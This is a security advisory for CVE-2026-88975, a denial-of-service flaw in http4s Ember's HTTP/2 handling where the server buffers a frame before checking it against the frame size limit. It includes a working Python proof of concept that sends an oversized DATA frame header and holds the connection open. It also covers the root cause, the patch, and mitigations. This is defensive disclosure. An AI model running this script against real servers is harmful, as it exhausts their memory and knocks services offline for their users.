high · 7.5CVE-2026-88975Sep 15, 2026

CVE-2026-88975: http4s Ember HTTP/2 Frame Size Memory Exhaustion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An unauthenticated attacker can crash an http4s Ember server by sending a single HTTP/2 frame that claims to be 16 MiB, tricking the server into buffering that memory before it ever checks its own…

Packageorg.http4s:http4s-ember-core_2.13
Ecosystemmaven
Affected<= 0.23.36
Fixed in0.23.37
CVE-2026-88975: http4s Ember HTTP/2 Frame Size Memory Exhaustion

The problem

In http4s-ember-core <= 0.23.36, the HTTP/2 read loop in H2Connection.scala buffers an entire frame payload before validating it against SETTINGS_MAX_FRAME_SIZE. The length is decoded from the frame's first 3 bytes in H2Frame.RawFrame.fromByteVector, and the read loop keeps concatenating socket data into one accumulator until 9 + length bytes are present.

The size check only happens in processFrame, which cannot run until the frame is fully assembled. A peer declaring a 16 MiB frame (the protocol's 24-bit maximum) against a server advertising a 16 KiB limit gets 1024x amplification per connection. At the default maxConnections of 1024, roughly 16 GiB of heap is reachable with no authentication required.

Proof of concept

A working proof-of-concept for CVE-2026-88975 in org.http4s:http4s-ember-core_2.13, with the exact payload below.

python
# Send the HTTP/2 client preface, then a DATA frame (type 0x00)
# with stream ID 1 and length 0xFFFFFF (16,777,215 bytes = ~16 MiB).
# The server buffers 16 MiB waiting for the payload before checking
# SETTINGS_MAX_FRAME_SIZE. Never send the payload to hold the allocation.
#
# Frame header layout (9 bytes):
#   [0..2] length  = 0xFF 0xFF 0xFF  (16,777,215)
#   [3]    type    = 0x00            (DATA)
#   [4]    flags   = 0x00
#   [5..8] stream  = 0x00 0x00 0x00 0x01

import socket, ssl

CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

# Minimal SETTINGS frame (empty, stream 0)
SETTINGS = bytes([
    0x00, 0x00, 0x00,  # length = 0
    0x04,             # type   = SETTINGS
    0x00,             # flags  = none
    0x00, 0x00, 0x00, 0x00  # stream = 0
])

# Oversized DATA frame header: length=0xFFFFFF, no payload sent
OVERSIZED_FRAME = bytes([
    0xFF, 0xFF, 0xFF,  # length = 16,777,215 (~16 MiB)
    0x00,             # type   = DATA
    0x00,             # flags  = none
    0x00, 0x00, 0x00, 0x01  # stream = 1
])

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])

with socket.create_connection(("target.example.com", 443)) as raw:
    with ctx.wrap_socket(raw, server_hostname="target.example.com") as s:
        s.sendall(CLIENT_PREFACE)
        s.sendall(SETTINGS)
        s.sendall(OVERSIZED_FRAME)
        # Hold the connection open; never send the payload bytes.
        # The server accumulator now holds the 9-byte promise and
        # will keep reading, pinning ~16 MiB per connection.
        import time; time.sleep(60)

The root cause is a check-after-buffer ordering flaw (CWE-400). H2Frame.RawFrame.fromByteVector decodes the 24-bit length field from bytes 0-2 and returns None until 9 + length bytes accumulate in the read-loop's ByteVector. The frame size limit from SETTINGS_MAX_FRAME_SIZE is only consulted in processFrame, which sits downstream and never runs on an incomplete frame.

The patch (commit 87cf334) moves the size check to before the accumulation loop, so a frame whose declared length already exceeds the negotiated maximum is rejected at the 9-byte header stage, returning a GOAWAY connection error per RFC 9113 section 4.2, without buffering any payload bytes.

The fix

Upgrade to http4s-ember-core 0.23.37 (or 1.0.0-M48 on the 1.x milestone series). The fix is in commit 87cf334fa3f608ef7d3eb359e71e037ba3336d29. If upgrading is not immediately possible, disable HTTP/2 on ember-server and ember-client (it is off by default on both), or terminate HTTP/2 at a proxy that enforces frame size limits and speak HTTP/1.1 to Ember.

Reporter not attributed.

References: [1][2][3][4][5]

Related research